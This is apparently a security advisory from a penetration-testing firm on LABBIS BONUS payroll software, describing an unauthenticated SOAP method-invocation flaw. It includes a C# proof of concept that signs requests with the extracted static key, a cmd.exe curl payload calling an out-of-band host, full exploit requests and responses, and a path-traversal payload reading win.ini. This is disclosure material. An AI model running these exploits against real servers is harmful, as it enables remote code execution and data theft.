BONUS is a software solution for payroll and time management, offered to businesses by LABBIS as a part of their paid services. An insecure method call mechanism without proper authorization checks was discovered in version 1.2.29.0 of the software. This vulnerability allows unauthenticated attackers to call arbitrary methods from the LABBIS .NET assemblies. A couple of existing methods can be exploited for remote code execution and path traversal attacks. When exploited, attackers can gain complete control over the server and its data.
A critical risk vulnerability was identified in the RunBl.asmx SOAP endpoint of the LABBIS web service. The โInvokeMethodโ action accepts arbitrary methods that can be invoked by unauthenticated callers. While it’s possible to call public methods from the LABBIS .NET assemblies, calls to methods defined in the .NET assemblies with names starting with โSystemโ, โMicrosoftโ or โLabbis.Dataโ are prevented. Furthermore, SOAP requests must be signed, however, a private key that is used for request signing is static and can be trivially extracted from the LABBIS desktop client.
During a short security test, several potentially harmful methods were identified in the LABBIS .NET assemblies. Two of these methods were successfully exploited and resulted in Remote Code Execution (RCE) and Path Traversal attacks.
public static object Evaluate_(string formula, object[] arow) { object evalObject = ImportWizardFormula.CreateFormula(formula); MethodInfo methodInfo = evalObject.GetType().GetMethod("Evaluate"); return methodInfo.Invoke(evalObject, new object[] { arow }); }
The method โCreateFormulaโ accepts a string as input. This formula string is integrated into a predefined class template by replacing the โ{0}โ placeholder within the template. Once the โ{0}โ placeholder is substituted with the actual formula, the resulting string represents a complete class definition. The method then compiles this class definition into executable code and creates an instance of it.
private static object CreateFormula(string formula) { CSharpCodeProvider cp = new CSharpCodeProvider(); ICodeCompiler ic = cp.CreateCompiler(); CompilerParameters cpar = new CompilerParameters(); cpar.ReferencedAssemblies.Add("system.dll"); cpar.ReferencedAssemblies.Add("system.data.dll"); cpar.ReferencedAssemblies.Add("system.xml.dll"); string[] spreferences = ImportWizardFormula.GetAllAssembliesPaths(); foreach (string sreference in spreferences) { cpar.ReferencedAssemblies.Add(sreference); } cpar.GenerateInMemory = true; cpar.GenerateExecutable = false; string classSource = "\r\n//using Labbis;\r\n//using Labbis.Controls.Browser.Import;\r\nusing System;\r\nusing System.Data; \r\nusing System.Data.SqlClient; \r\nusing System.Data.OleDb; \r\nusing System.Xml;\r\nnamespace Labbis \r\n{\r\n class ComputeClass//: ComputeClassBase\r\n {\r\n public object Evaluate(string[] arow)\r\n {\r\n return {0};\r\n }\r\n }\r\n}\r\n"; classSource = classSource.Replace("{0}", formula); classSource = classSource.Replace("UNIKAL", string.Format("\"{0}\"", lbUnikal.GetNewValueWithPrefix())); CompilerResults cr = ic.CompileAssemblyFromSource(cpar, classSource); bool flag = cr.Errors.Count > 0; if (flag) { throw new Exception(cr.Errors[0].ErrorText); } Type type = cr.CompiledAssembly.GetType("Labbis.ComputeClass"); return Activator.CreateInstance(type); }
The โGetReportFileโ method of the โEntities.EntityFactoryโ class, which can be found in the “Labbis.Modules.dll” module, is designed to retrieve a report file based on a provided path. While the method attempts to sanitize the input path by removing specific patterns like “\..” and “//..“, this filtering is insufficient. An attacker can bypass this rudimentary sanitization using the character sequence โ\\….โ. By leveraging this approach, the attacker can traverse directories and access files outside the intended path, exposing the system to path traversal vulnerabilities.
public static byte[] GetReportFile(string ReportPath) { ReportPath = ReportPath.Replace("\\..", string.Empty); ReportPath = ReportPath.Replace("//..", string.Empty); string CodeBase = typeof(EntityFactory).Assembly.CodeBase; bool flag = string.IsNullOrEmpty(CodeBase); byte[] result; if (flag) { result = null; } else { CodeBase = new Uri(CodeBase).AbsolutePath; CodeBase = Path.GetDirectoryName(CodeBase); string[] ReportBase = new string[] { Path.Combine(Path.GetDirectoryName(CodeBase), "ReportsCustom"), Path.Combine(Path.GetDirectoryName(CodeBase), "Reports"), CodeBase }; foreach (string rb in ReportBase) { string ReportFile = Path.Combine(rb, ReportPath); bool flag2 = File.Exists(ReportFile); if (flag2) { return File.ReadAllBytes(ReportFile); } } result = null; } return result; }
The following example illustrates a SOAP request that is expected by the LABBIS web service. Request parameters are self-explanatory, except for the โbytesโ parameter, which takes a serialized array of objects encoded as a Base64 string. Itโs worth noting that this parameter is not affected by unsafe deserialization issues in the most recent LABBIS versions.
POST /[...]/RunBl.asmx HTTP/2 Host: bonus60 Accept-Encoding: gzip, deflate Content-Type: text/xml;charset=UTF-8 Soapaction: "http://tempuri.org/InvokeMethod" Content-Length: 609 User-Agent: Apache-HttpClient/4.5.5 (Java/16.0.1) <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Header> <LabbisSoapHeader xmlns="http://tempuri.org/"> <RequestId>{Request Id}</RequestId> <Signature>{Generated signature}</Signature> </LabbisSoapHeader> </soap:Header> <soap:Body> <InvokeMethod xmlns="http://tempuri.org/"> <Assembly>{Assembly name}</Assembly> <Class>{Class name}</Class> <Method>{Method name}</Method> <bytes>{Serialized method parameters}</bytes> </InvokeMethod> </soap:Body> </soap:Envelope>
The request parameters โRequestIdโ, โAssemblyโ, โClassโ, โMethodโ and โbytesโ must be signed. In total there are two (concatenated) signatures, because a separate signature is needed for the โbytesโ parameter. The private key that is used for signing can be extracted from the LABBIS client executable โLabbis.WinUI.exeโ using, for example, the ILSpy .NET decompiler.
The following proof-of-concept code was created to generate both the serialized bytes and required signatures for RCE exploitation. It can be easily adapted to exploit the Path Traversal vulnerability.
using System; using System.Text; using System.IO; using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; using System.Runtime.Serialization.Formatters.Binary; namespace Labbis { class LabbisSignature { public static byte[] SerializeObject(object o) { using (MemoryStream stream = new MemoryStream()) { new BinaryFormatter().Serialize(stream, o); return stream.ToArray(); } } public static string SerializeObjectEncode(object o) { using (MemoryStream stream = new MemoryStream()) { new BinaryFormatter().Serialize(stream, o); return Convert.ToBase64String(stream.ToArray()); } } static string SignToBase64String(X509Certificate2 pfx, Guid requestId, string assemblyName, string className, string methodName, byte[] parameters) { string callInfo = string.Join(string.Empty, new object[] { requestId, assemblyName, className, methodName }); string signature = LabbisSignature.SignToBase64String(pfx, callInfo); parameters = (parameters ?? new byte[0]); return signature + LabbisSignature.SignToBase64String(pfx, parameters); } static string SignToBase64String(X509Certificate2 pfx, string plainText) { byte[] plainBytes = Encoding.UTF8.GetBytes(plainText); return LabbisSignature.SignToBase64String(pfx, plainBytes); } static string SignToBase64String(X509Certificate2 pfx, byte[] plainBytes) { RSA pk = pfx.GetRSAPrivateKey(); byte[] signature = pk.SignData(plainBytes, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); return Convert.ToBase64String(signature); } static void Main(string[] args) { string cert = "RunBlClient1.pfx"; var ClientCertificate = new X509Certificate2(cert); string assemblyName = "Labbis.Controls"; string className = "Browser.Import.ImportWizardFormula"; string methodName = "Evaluate_"; //Guid requestId = Guid.NewGuid(); Guid requestId = Guid.Parse("397513a4-58e5-4709-bbe3-485197020a2a"); System.Console.WriteLine("\nRequestId: " + requestId.ToString()); Object[] payload = new Object[2] {"System.Diagnostics.Process.Start(\"cmd.exe\",\"/c curl http://upn4d2hydams6wiekvrjdln9f0ls9lxa.oastify.com\")", null}; byte[] parameters = SerializeObject(payload); System.Console.WriteLine("\nBytes: " + SerializeObjectEncode(payload)); string signature = LabbisSignature.SignToBase64String(ClientCertificate, requestId, assemblyName, className, methodName, parameters); System.Console.WriteLine("\nSignature: " + signature); } } }
The following payload passed to the โEvaluate_โ method as a parameter makes an HTTP request using the โcurlโ tool to PortSwigger’s Burp Collaborator host, where all incoming requests are logged:
System.Diagnostics.Process.Start("cmd.exe","/c curl upn4d2hydams6wiekvrjdln9f 0ls9lxa.oastify.com")
The output from the compiled proof-of-concept code gives all the necessary values needed to build a properly signed SOAP request:
RequestId: 397513a4-58e5-4709-bbe3-485197020a2a Bytes: AAEAAAD/////AQAAAAAAAAAQAQAAAAIAAAAGAgAAAGlTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2Vzcy5TdGFydCgiY21kLmV4ZSIsIi9jIGN1cmwgaHR0cDovL3VwbjRkMmh5ZGFtczZ3aWVrdnJqZGxuOWYwbHM5bHhhLm9hc3RpZnkuY29tIikKCw== Signature: AdHyjFHS5/htLrQe7WffTIGWmmd42nNc5RFsK6nMioRKT92eHsJHSj95NjtR6tjBf4DDYxADO/idWr2klnQb/kRtMYNaJ5V2dLUHPYjaAUkfnl9kLqbj+LbX8msylUmFkkIXviaKDJLRoM7YPvY8gHLz7SobS8z89s3F9frPg0Q=H63B03wrU3RFjRc7zcaE4/OknD6r2A5azoREo0nhjnBdk07UqJZ/WDBuoZVzP48QY2s7YuwPCGmHB3iL9d2z3JTk/Twy0+5iyJwVy4GyK8vr00duHBGu27/Znpol2M8J2IKlp5WilrhgrJxazmSJR3+S9O+k02NbMXcYFbVkYjo=
A valid SOAP request with the Base64 encoded serialized payload:
POST /[...]/RunBl.asmx HTTP/1.1 Host: bonus60 Accept-Encoding: gzip, deflate Content-Type: text/xml;charset=UTF-8 Soapaction: "http://tempuri.org/InvokeMethod" Content-Length: 1139 User-Agent: Apache-HttpClient/4.5.5 (Java/16.0.1) <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Header> <LabbisSoapHeader xmlns="http://tempuri.org/"> <RequestId>397513a4-58e5-4709-bbe3-485197020a2a</RequestId> <Signature>AdHyjFHS5/htLrQe7WffTIGWmmd42nNc5RFsK6nMioRKT92eHsJHSj95NjtR6tjBf4DDYxADO/idWr2klnQb/kRtMYNaJ5V2dLUHPYjaAUkfnl9kLqbj+LbX8msylUmFkkIXviaKDJLRoM7YPvY8gHLz7SobS8z89s3F9frPg0Q=H63B03wrU3RFjRc7zcaE4/OknD6r2A5azoREo0nhjnBdk07UqJZ/WDBuoZVzP48QY2s7YuwPCGmHB3iL9d2z3JTk/Twy0+5iyJwVy4GyK8vr00duHBGu27/Znpol2M8J2IKlp5WilrhgrJxazmSJR3+S9O+k02NbMXcYFbVkYjo=</Signature> </LabbisSoapHeader> </soap:Header> <soap:Body> <InvokeMethod xmlns="http://tempuri.org/"> <Assembly>Labbis.Controls</Assembly> <Class>Browser.Import.ImportWizardFormula</Class> <Method>Evaluate_</Method> <bytes>AAEAAAD/////AQAAAAAAAAAQAQAAAAIAAAAGAgAAAGlTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2Vzcy5TdGFydCgiY21kLmV4ZSIsIi9jIGN1cmwgaHR0cDovL3VwbjRkMmh5ZGFtczZ3aWVrdnJqZGxuOWYwbHM5bHhhLm9hc3RpZnkuY29tIikKCw== </bytes> </InvokeMethod> </soap:Body> </soap:Envelope>
HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Content-Length: 702 <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <soap:Fault> <faultcode>soap:Client</faultcode> <faultstring>System.Web.Services.Protocols.SoapException: Type 'System.Diagnostics.Process' in Assembly 'System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' is not marked as serializable. at Labbis.RunBl.RunBl.InvokeMethod(String Assembly, String Class, String Method, Byte[] bytes) in C:\[โฆ]\Labbis\Core\Main_4.8\Labbis.RubBl\RunBl.cs:line 247</faultstring> <detail /> </soap:Fault> </soap:Body> </soap:Envelope>
Similarly, any command could be run remotely, potentially compromising the server and its data.
To exploit the identified Path Traversal vulnerability, a similar approach can be taken. In this case, the payload utilizes the sequence โ\\\\….โ. This specific pattern is crafted to bypass rudimentary path sanitization mechanisms. By repeating the sequence, an attacker can traverse multiple directories upwards. When combined with subsequent directory or file names, it allows the attacker to access files or directories outside the intended scope, potentially leading to unauthorized file access or information disclosure.
The proof-of-concept code was updated with the following content:
string assemblyName = "Labbis.Modules"; string className = "Entities.EntityFactory"; string methodName = "GetReportFile"; Guid requestId = Guid.Parse("397513a4-58e5-4709-bbe3-485197020a2a"); System.Console.WriteLine("\nRequestId: " + requestId.ToString()); Object[] payload = new Object[1] { "..\\\\....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\windows\\win.ini" };
RequestId: 397513a4-58e5-4709-bbe3-485197020a2a Bytes: AAEAAAD/////AQAAAAAAAAAQAQAAAAEAAAAGAgAAAEkuLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcd2luZG93c1x3aW4uaW5pCw== Signature: agNuL2EDavJeDtecb+tqf6b2gmSePZ8TJdGTpdVbZ6o2DFW8g4qNPDWvvj5WtqnCGstnB/G/joBAEaZVLdxdfuyOfRracOCgPZtWBxgoh1Q65TWmMSefyagpb8wYuNifnE3kqMHWBMavBG7aSJ9m1Sq4xxvZGFg+GFK0EEuNGt4=xjhfmQDw9jgLB0TySNDHJDKQ7rXVWdnX6HkL85gDgE8XJRpfMnAx2U1eo5vSBkITguCnlHlZC1SPVtoSPhHKFfeCEzW7uO6GsO5/NE160DvhtJ5HuCeRbl3eVKJXzQ31pY6g4bkcpzHidMxtWJKv2WcUchb+V+oXPX6VemuDo7U=
The returned values were included in the following SOAP request:
POST /[...]/RunBl.asmx HTTP/1.1 Host: bonus60 Accept-Encoding: gzip, deflate Content-Type: text/xml;charset=UTF-8 Soapaction: "http://tempuri.org/InvokeMethod" Content-Length: 1086 User-Agent: Apache-HttpClient/4.5.5 (Java/16.0.1) <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Header> <LabbisSoapHeader xmlns="http://tempuri.org/"> <RequestId>397513a4-58e5-4709-bbe3-485197020a2a</RequestId> <Signature> agNuL2EDavJeDtecb+tqf6b2gmSePZ8TJdGTpdVbZ6o2DFW8g4qNPDWvvj5WtqnCGstnB/G/joBAEaZVLdxdfuyOfRracOCgPZtWBxgoh1Q65TWmMSefyagpb8wYuNifnE3kqMHWBMavBG7aSJ9m1Sq4xxvZGFg+GFK0EEuNGt4=xjhfmQDw9jgLB0TySNDHJDKQ7rXVWdnX6HkL85gDgE8XJRpfMnAx2U1eo5vSBkITguCnlHlZC1SPVtoSPhHKFfeCEzW7uO6GsO5/NE160DvhtJ5HuCeRbl3eVKJXzQ31pY6g4bkcpzHidMxtWJKv2WcUchb+V+oXPX6VemuDo7U=</Signature> </LabbisSoapHeader> </soap:Header> <soap:Body> <InvokeMethod xmlns="http://tempuri.org/"> <Assembly>Labbis.Modules</Assembly> <Class>Entities.EntityFactory</Class> <Method>GetReportFile</Method> <bytes> AAEAAAD/////AQAAAAAAAAAQAQAAAAEAAAAGAgAAAEkuLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcd2luZG93c1x3aW4uaW5pCw== </bytes> </InvokeMethod> </soap:Body> </soap:Envelope>
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/xml; charset=utf-8 Expires: -1 Vary: Accept-Encoding Server: Microsoft-IIS/10.0 Set-Cookie: session_id=; path=/ Set-Cookie: ASP.NET_SessionId=; path=/ Content-Length: 522 <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <InvokeMethodResponse xmlns="http://tempuri.org/"> <InvokeMethodResult>AAEAAAD/////AQAAAAAAAAAPAQAAAFwAAAACOyBmb3IgMTYtYml0IGFwcCBzdXBwb3J0DQpbZm9udHNdDQpbZXh0ZW5zaW9uc10NClttY2kgZXh0ZW5zaW9uc10NCltmaWxlc10NCltNYWlsXQ0KTUFQST0xDQoL</InvokeMethodResult> </InvokeMethodResponse> </soap:Body> </soap:Envelope>
;for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
Critical Security was established in 2007 by a group of cyber security enthusiasts. Since its establishment, the company has been providing high-quality security assessments and penetration tests to various organizations, helping them identify and mitigate potential security threats.